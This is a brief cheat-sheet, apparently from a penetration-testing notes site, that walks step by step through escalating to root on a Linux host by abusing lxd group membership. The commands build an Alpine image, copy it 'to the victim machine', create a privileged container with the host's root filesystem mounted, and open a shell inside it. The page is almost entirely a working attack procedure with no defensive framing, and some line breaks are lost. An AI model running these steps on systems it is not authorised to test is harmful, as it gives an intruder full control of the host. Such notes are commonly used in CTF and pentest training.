Linux Group Privileges
lxd group
If lxc/lxd is not working USE THE FULL PATH
First download an Alpine image, then upload it to the remote machine.
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder/
./build-alpineA compressed file will be created. Now, we have to send this file to the victim machine
Once the file is copied, initiate LXD on the remote machine and proceed with the installation while answering "no" to all prompts, you can use the following command:
sudo lxd init --autoNext, we run the following command to import the alpine image.
lxc image import <zip_file> --alias <name>To check if the image is successfully imported, type the following.
lxc image listNext, we need to make the container privileged, and mount the filesystem, before starting the container.
lxc init <name> mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true lxc start mycontainerOnce the container is started, we can access it by typing the following command.
lxc exec mycontainer /bin/shLast updated